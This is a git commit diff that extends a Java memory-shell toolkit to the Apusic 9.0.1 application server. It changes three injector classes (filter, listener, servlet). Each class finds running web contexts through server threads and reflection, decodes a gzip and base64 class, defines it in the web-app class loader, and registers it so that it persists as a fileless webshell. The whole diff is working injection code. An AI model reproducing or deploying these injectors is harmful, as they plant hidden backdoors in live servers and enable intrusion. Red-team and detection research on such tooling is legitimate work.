feat: support Apusic 9.0.1

This commit is contained in:
ReaJason
2025-11-20 00:36:25 +08:00
parent 4134c7233b
commit e7c69befe8
3 changed files with 143 additions and 63 deletions
@@ -3,11 +3,13 @@ package com.reajason.javaweb.memshell.injector.apusic;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -17,15 +19,22 @@ import java.util.zip.GZIPInputStream;
*/
public class ApusicFilterInjector {
String msg = "";
public ApusicFilterInjector() {
try {
List<Object> contexts = getContext();
msg += "contexts size: " + contexts.size() + "\n";
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
Object shell = getShell(context);
boolean inject = inject(context, shell);
msg += "context: " + getFieldValue(context, "contextRoot") + (inject ? " ok" : " already") + "\n";
}
} catch (Exception e) {
e.printStackTrace();
} catch (Throwable e) {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(outputStream);
e.printStackTrace(printStream);
msg += outputStream.toString();
}
}
@@ -51,39 +60,57 @@ public class ApusicFilterInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) {
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
// Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
private Object getShell(Object context) throws Exception {
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
ClassLoader defineLoader;
Object obj;
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "loader"));
// Apusic 9.0 SPX,优先从当前 loader 进行加载
defineShell(loader);
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = loader;
} catch (ClassNotFoundException e) {
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
defineShell(internalLoader);
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = internalLoader;
}
msg += defineLoader + " loaded \n";
return obj;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
private void defineShell(ClassLoader classLoader) throws Exception {
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
} catch (Throwable ignored) {
}
}
public void inject(Object context, Object filter) throws Exception {
public boolean inject(Object context, Object filter) throws Exception {
Object webModule = getFieldValue(context, "webapp");
if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return;
return false;
}
// addFilterMapping
Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.apusic.deploy.runtime.FilterMapping");
@@ -100,7 +127,12 @@ public class ApusicFilterInjector {
Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
Object filterMapper = getFieldValue(context, "filterMapper");
invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
System.out.println("filter injected successful");
return true;
}
@Override
public String toString() {
return super.toString() + "\n" + msg;
}
@SuppressWarnings("all")
@@ -155,7 +187,7 @@ public class ApusicFilterInjector {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
}
@SuppressWarnings("all")
@@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -16,15 +18,22 @@ import java.util.zip.GZIPInputStream;
*/
public class ApusicListenerInjector {
String msg = "";
public ApusicListenerInjector() {
try {
List<Object> contexts = getContext();
msg += "contexts size: " + contexts.size() + "\n";
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
Object shell = getShell(context);
boolean inject = inject(context, shell);
msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n";
}
} catch (Exception e) {
e.printStackTrace();
} catch (Throwable e) {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(outputStream);
e.printStackTrace(printStream);
msg += outputStream.toString();
}
}
@@ -45,47 +54,60 @@ public class ApusicListenerInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) {
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
// Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
private Object getShell(Object context) throws Exception {
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "loader"));
defineShell(loader);
Object obj = loader.loadClass(getClassName()).newInstance();
msg += loader + " loaded \n";
return obj;
} catch (ClassNotFoundException e) {
// Apusic 9.0.1
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
defineShell(internalLoader);
Object obj = loader.loadClass(getClassName()).newInstance();
msg += internalLoader + " loaded \n";
return obj;
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
private void defineShell(ClassLoader classLoader) throws Exception {
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
} catch (Throwable ignored) {
}
}
public void inject(Object context, Object listener) throws Exception {
public boolean inject(Object context, Object listener) throws Exception {
Object webModule = getFieldValue(context, "webapp");
String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null);
for (String name : listeners) {
if (getClassName().equals(name)) {
System.out.println("listener already injected");
return;
}
if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) {
return false;
}
invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(context, "loadListeners", null, null);
System.out.println("listener injected successful");
return true;
}
@Override
public String toString() {
return super.toString() + "\n" + msg;
}
@SuppressWarnings("all")
@@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -16,15 +18,22 @@ import java.util.zip.GZIPInputStream;
*/
public class ApusicServletInjector {
String msg = "";
public ApusicServletInjector() {
try {
List<Object> contexts = getContext();
msg += "contexts size: " + contexts.size() + "\n";
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
Object shell = getShell(context);
boolean inject = inject(context, shell);
msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n";
}
} catch (Exception e) {
e.printStackTrace();
} catch (Throwable e) {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(outputStream);
e.printStackTrace(printStream);
msg += outputStream.toString();
}
}
@@ -45,44 +54,61 @@ public class ApusicServletInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) {
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
// Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
private Object getShell(Object context) throws Exception {
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "loader"));
defineShell(loader);
Object obj = loader.loadClass(getClassName()).newInstance();
msg += loader + " loaded \n";
return obj;
} catch (ClassNotFoundException e) {
// Apusic 9.0.1
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
defineShell(internalLoader);
Object obj = loader.loadClass(getClassName()).newInstance();
msg += internalLoader + " loaded \n";
return obj;
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
private void defineShell(ClassLoader classLoader) throws Exception {
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
} catch (Throwable ignored) {
}
}
public void inject(Object context, Object servlet) throws Exception {
public boolean inject(Object context, Object servlet) throws Exception {
Object webModule = getFieldValue(context, "webapp");
Object servletMapper = getFieldValue(context, "servletMapper");
if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("servlet already injected");
return;
return false;
}
invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
System.out.println("servlet injected successful");
return true;
}
@Override
public String toString() {
return super.toString() + "\n" + msg;
}
@SuppressWarnings("all")